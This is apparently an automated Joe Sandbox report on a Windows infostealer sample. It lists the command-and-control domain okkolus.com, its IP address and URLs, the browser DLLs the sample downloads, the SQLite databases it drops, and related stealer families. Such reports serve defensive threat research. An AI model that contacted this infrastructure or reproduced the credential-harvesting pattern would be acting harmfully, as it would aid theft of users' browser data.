http://okkolus.com/dfaf16606234b71d/nss3.dll9M	0%	Avira URL Cloud	safe
http://okkolus.comppData	0%	Avira URL Cloud	safe
http://okkolus.com/cf5cbdf706840b3f.php	13%	Virustotal		Browse
http://okkolus.com/dfaf16606234b71d/msvcp140.dll	0%	Avira URL Cloud	safe
http://okkolus.com/dfaf16606234b71d/sqlite3.dll	0%	Avira URL Cloud	safe
http://okkolus.com/dfaf16606234b71d/nss3.dlle	5%	Virustotal		Browse
http://okkolus.com/dfaf16606234b71d/nss3.dll	0%	Avira URL Cloud	safe
http://okkolus.com/cf5cbdf706840b3f.php/M	100%	Avira URL Cloud	malware
http://okkolus.com/cf5cbdf706840b3f.phpt	0%	Avira URL Cloud	safe
http://okkolus.com/dfaf16606234b71d/nss3.dllJT	0%	Avira URL Cloud	safe
http://okkolus.com/dfaf16606234b71d/nss3.dlloU	0%	Avira URL Cloud	safe
http://okkolus.com/dfaf16606234b71d/nss3.dll	3%	Virustotal		Browse
http://okkolus.com/dfaf16606234b71d/mozglue.dlld	0%	Avira URL Cloud	safe
http://okkolus.com/dfaf16606234b71d/nss3.dllllx	0%	Avira URL Cloud	safe
http://okkolus.com/dfaf16606234b71d/sqlite3.dll	4%	Virustotal		Browse
http://okkolus.com/dfaf16606234b71d/msvcp140.dll	3%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
okkolus.com	31.41.44.147	true	true	11%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://okkolus.com/dfaf16606234b71d/softokn3.dll	true	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://okkolus.com/dfaf16606234b71d/mozglue.dll	true	3%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://okkolus.com/dfaf16606234b71d/freebl3.dll	true	3%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://okkolus.com/dfaf16606234b71d/vcruntime140.dll	true	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://okkolus.com/cf5cbdf706840b3f.php	true	13%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://okkolus.com/dfaf16606234b71d/msvcp140.dll	true	3%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://okkolus.com/dfaf16606234b71d/sqlite3.dll	true	4%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://okkolus.com/dfaf16606234b71d/nss3.dll	true	3%, Virustotal, Browse Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://okkolus.com/dfaf16606234b71d/msvcp140.dlluPh	FFAk2gixx5.exe, 00000000.00000002.3315706201.0000000002C87000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://okkolus.com	FFAk2gixx5.exe, 00000000.00000002.3315706201.0000000002C4C000.00000004.00000020.00020000.00000000.sdmp, FFAk2gixx5.exe, 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmp	true	11%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://duckduckgo.com/chrome_newtab	JEHIJDGI.0.dr	false		high
https://duckduckgo.com/ac/?q=	FFAk2gixx5.exe, 00000000.00000002.3315706201.0000000002CAB000.00000004.00000020.00020000.00000000.sdmp, JEHIJDGI.0.dr	false		high
http://okkolus.com/dfaf16606234b71d/vcruntime140.dllata	FFAk2gixx5.exe, 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
http://okkolus.com/dfaf16606234b71d/msvcp140.dll.	FFAk2gixx5.exe, 00000000.00000002.3315706201.0000000002C87000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://okkolus.com/dfaf16606234b71d/nss3.dllll	FFAk2gixx5.exe, 00000000.00000002.3315706201.0000000002CAB000.00000004.00000020.00020000.00000000.sdmp, FFAk2gixx5.exe, 00000000.00000002.3315706201.0000000002C87000.00000004.00000020.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://okkolus.com/cf5cbdf706840b3f.	FFAk2gixx5.exe, 00000000.00000002.3315706201.0000000002CAB000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://okkolus.com/dfaf16606234b71d/nss3.dll.U	FFAk2gixx5.exe, 00000000.00000002.3315706201.0000000002CAB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	FFAk2gixx5.exe, 00000000.00000002.3315706201.0000000002CAB000.00000004.00000020.00020000.00000000.sdmp, JEHIJDGI.0.dr	false		high
http://okkolus.com/dfaf16606234b71d/mozglue.dllrowser	FFAk2gixx5.exe, 00000000.00000002.3315706201.0000000002C87000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://okkolus.com/cf5cbdf706840b3f.php&)	FFAk2gixx5.exe, 00000000.00000002.3315706201.0000000002CA4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://okkolus.com/dfaf16606234b71d/mozglue.dll94eaf2a9d1d275a40e443fa5Extension	FFAk2gixx5.exe, 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
http://okkolus.com/dfaf16606234b71d/mozglue.dllVUG	FFAk2gixx5.exe, 00000000.00000002.3315706201.0000000002CAB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://okkolus.com/dfaf16606234b71d/nss3.dllpatible_edge_version_number	FFAk2gixx5.exe, 00000000.00000002.3315706201.0000000002CAB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	FFAk2gixx5.exe, 00000000.00000002.3315706201.0000000002CAB000.00000004.00000020.00020000.00000000.sdmp, JEHIJDGI.0.dr	false		high
http://okkolus.com/dfaf16606234b71d/softokn3.dller	FFAk2gixx5.exe, 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://okkolus.com/dfaf16606234b71d/nss3.dlle	FFAk2gixx5.exe, 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmp	false	5%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://okkolus.com/dfaf16606234b71d/ra	FFAk2gixx5.exe, 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
http://www.sqlite.org/copyright.html.	FFAk2gixx5.exe, 00000000.00000002.3326407277.000000001D119000.00000004.00000020.00020000.00000000.sdmp, FFAk2gixx5.exe, 00000000.00000002.3334018362.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	false		high
http://okkolus.com/dfaf16606234b71d/msvcp140.dller	FFAk2gixx5.exe, 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
http://okkolus.com/cf5cbdf706840b3f.phpN	FFAk2gixx5.exe, 00000000.00000002.3315706201.0000000002C4C000.00000004.00000020.00020000.00000000.sdmp	false	4%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.mozilla.com/en-US/blocklist/	mozglue[1].dll.0.dr, mozglue.dll.0.dr	false		high
http://okkolus.com/dfaf16606234b71d/	FFAk2gixx5.exe, 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, freebl3.dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false	URL Reputation: safe	unknown
http://okkolus.com/cf5cbdf706840b3f.phpte3.dll	FFAk2gixx5.exe, 00000000.00000002.3314009365.0000000000549000.00000040.00000001.01000000.00000003.sdmp	false	4%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://okkolus.com/dfaf16606234b71d/softokn3.dll.	FFAk2gixx5.exe, 00000000.00000002.3315706201.0000000002C87000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://okkolus.com/dfaf16606234b71d/softokn3.dllCSF	FFAk2gixx5.exe, 00000000.00000002.3315706201.0000000002C87000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	JEHIJDGI.0.dr	false		high
http://okkolus.com/dfaf16606234b71d/nss3.dllll_TH	FFAk2gixx5.exe, 00000000.00000002.3315706201.0000000002CAB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://okkolus.com/dfaf16606234b71d/freebl3.dll94eaf2a9d1d275a40e443fa5tionComponent	FFAk2gixx5.exe, 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
http://okkolus.com/dfaf16606234b71d/oTab	FFAk2gixx5.exe, 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
http://okkolus.com/dfaf16606234b71d/mozglue.dllser	FFAk2gixx5.exe, 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	FFAk2gixx5.exe, 00000000.00000002.3315706201.0000000002CAB000.00000004.00000020.00020000.00000000.sdmp, JEHIJDGI.0.dr	false		high
http://okkolus.com/dfaf16606234b71d/soft	FFAk2gixx5.exe, 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
http://okkolus.com/cf5cbdf706840b3f.php6c3c10c894eaf2a9d1d275a40e443fa5cations	FFAk2gixx5.exe, 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
http://okkolus.com/dfaf16606234b71d/vcruntime140.dll%	FFAk2gixx5.exe, 00000000.00000002.3315706201.0000000002CAB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/	JEHIJDGI.0.dr	false		high
http://okkolus.com/dfaf16606234b71d/nss3.dll9M	FFAk2gixx5.exe, 00000000.00000002.3315706201.0000000002CAB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://okkolus.comppData	FFAk2gixx5.exe, 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
https://ac.ecosia.org/autocomplete?q=	JEHIJDGI.0.dr	false		high
https://ac.ecopnacl	FFAk2gixx5.exe, 00000000.00000002.3315706201.0000000002CAB000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://okkolus.com/cf5cbdf706840b3f.php/M	FFAk2gixx5.exe, 00000000.00000002.3315706201.0000000002CAB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://okkolus.com/cf5cbdf706840b3f.phpt	FFAk2gixx5.exe, 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
http://okkolus.com/dfaf16606234b71d/nss3.dllJT	FFAk2gixx5.exe, 00000000.00000002.3315706201.0000000002CAB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://okkolus.com/dfaf16606234b71d/nss3.dlloU	FFAk2gixx5.exe, 00000000.00000002.3315706201.0000000002CAB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ac.ecop	FFAk2gixx5.exe, 00000000.00000002.3315706201.0000000002CAB000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://okkolus.com/dfaf16606234b71d/mozglue.dlld	FFAk2gixx5.exe, 00000000.00000002.3315706201.0000000002C87000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://okkolus.com/dfaf16606234b71d/nss3.dllllx	FFAk2gixx5.exe, 00000000.00000002.3315706201.0000000002C87000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	JEHIJDGI.0.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
31.41.44.147	okkolus.com	Russian Federation		56577	ASRELINKRU	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1436574
Start date and time:	2024-05-06 02:51:03 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 8s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	6
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	FFAk2gixx5.exe renamed because original name is a hash value
Original Sample Name:	14cd6d9cbad80b0e4076212bf7ad937f.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@1/18@1/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 99% Number of executed functions: 64 Number of non-executed functions: 129
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

⊘No simulations

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
31.41.44.147	1CMweaqlKp.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Mars Stealer, RedLine, RisePro Stealer, SmokeLoader	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ASRELINKRU	1CMweaqlKp.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Mars Stealer, RedLine, RisePro Stealer, SmokeLoader	Browse	31.41.44.147
	http://apieventemitter.com	Get hash	malicious	Unknown	Browse	31.41.44.97
	q4Mb8hVR9R.exe	Get hash	malicious	PureLog Stealer	Browse	31.41.44.176
	http://apieventemitter.com	Get hash	malicious	Unknown	Browse	31.41.44.97
	https://funcallback.com/wynzslzcnxc4hhnvlcdditaminvoxtt-l-d6ayg3pml	Get hash	malicious	Unknown	Browse	31.41.44.109
	http://www.gerstacker-weinkellerei.de	Get hash	malicious	Unknown	Browse	31.41.44.109
	https://funcallback.com	Get hash	malicious	Unknown	Browse	31.41.44.109
	https://exodontia.info	Get hash	malicious	Unknown	Browse	31.41.44.109
	https://funcallback.com	Get hash	malicious	Unknown	Browse	31.41.44.109
	8xFzJWrEIa.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, RedLine, SmokeLoader, Vidar	Browse	31.41.44.102

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	iMNEl4E1fR.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse
	z2kQkLtyJW.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	t13pv4ox18.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	1CMweaqlKp.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Mars Stealer, RedLine, RisePro Stealer, SmokeLoader	Browse
	pYJeC4VJbw.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	Wb9LZ5Sn1l.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	c4RAHq3BNl.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	exDbnS3M12.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	qa4Ulla1BY.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	U8uFcjIjAR.exe	Get hash	malicious	LummaC, Amadey, Glupteba, LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine	Browse
C:\ProgramData\mozglue.dll	iMNEl4E1fR.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse
	z2kQkLtyJW.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	t13pv4ox18.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	pYJeC4VJbw.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	Wb9LZ5Sn1l.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	c4RAHq3BNl.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	exDbnS3M12.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	qa4Ulla1BY.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	U8uFcjIjAR.exe	Get hash	malicious	LummaC, Amadey, Glupteba, LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine	Browse
	JlvRdFpwOD.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, SectopRAT, Stealc, Vidar, zgRAT	Browse

Created / dropped Files

C:\ProgramData\CGDGHCBGDHJJKECAECBA

Download File

Process:	C:\Users\user\Desktop\FFAk2gixx5.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DBFIDGII

Download File

Process:	C:\Users\user\Desktop\FFAk2gixx5.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FCGIJKJJKEBGHJKFIDGCAAFCAF

Download File

Process:	C:\Users\user\Desktop\FFAk2gixx5.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GHJJDGHCBGDHIECBGIDAEHCGDG

Download File

Process:	C:\Users\user\Desktop\FFAk2gixx5.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8508558324143882
Encrypted:	false
SSDEEP:	24:TLlF1kwNbXYFpFNYcw+6UwcQVXH5fBaJvWKC0ABndzGrW7swaE:TxFawNLopFgU10XJBaEKQxdgQsw
MD5:	933D6D14518371B212F36C3835794D75
SHA1:	92D056D912B3C0260D379330D3CC0359B57A322B
SHA-256:	55390EE61FB85370A8A7F51A8DD5374F7B1801D1D7DF09D6A90CDD74ED6E7D1E
SHA-512:	EAC706D8A579500EADA26FB9883E1F3CE9112A03F38EE78B11B393AB0A3285945F8E06EB406BFC17D1CB540F840E435E515FABFC265399CE6F5193980FDE3F2C
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JECBGCFHCFIDHIDHDGDG

Download File

Process:	C:\Users\user\Desktop\FFAk2gixx5.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JEHIJDGI

Download File

Process:	C:\Users\user\Desktop\FFAk2gixx5.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\FFAk2gixx5.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: iMNEl4E1fR.exe, Detection: malicious, Browse Filename: z2kQkLtyJW.exe, Detection: malicious, Browse Filename: t13pv4ox18.exe, Detection: malicious, Browse Filename: 1CMweaqlKp.exe, Detection: malicious, Browse Filename: pYJeC4VJbw.exe, Detection: malicious, Browse Filename: Wb9LZ5Sn1l.exe, Detection: malicious, Browse Filename: c4RAHq3BNl.exe, Detection: malicious, Browse Filename: exDbnS3M12.exe, Detection: malicious, Browse Filename: qa4Ulla1BY.exe, Detection: malicious, Browse Filename: U8uFcjIjAR.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\FFAk2gixx5.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: iMNEl4E1fR.exe, Detection: malicious, Browse Filename: z2kQkLtyJW.exe, Detection: malicious, Browse Filename: t13pv4ox18.exe, Detection: malicious, Browse Filename: pYJeC4VJbw.exe, Detection: malicious, Browse Filename: Wb9LZ5Sn1l.exe, Detection: malicious, Browse Filename: c4RAHq3BNl.exe, Detection: malicious, Browse Filename: exDbnS3M12.exe, Detection: malicious, Browse Filename: qa4Ulla1BY.exe, Detection: malicious, Browse Filename: U8uFcjIjAR.exe, Detection: malicious, Browse Filename: JlvRdFpwOD.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\FFAk2gixx5.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
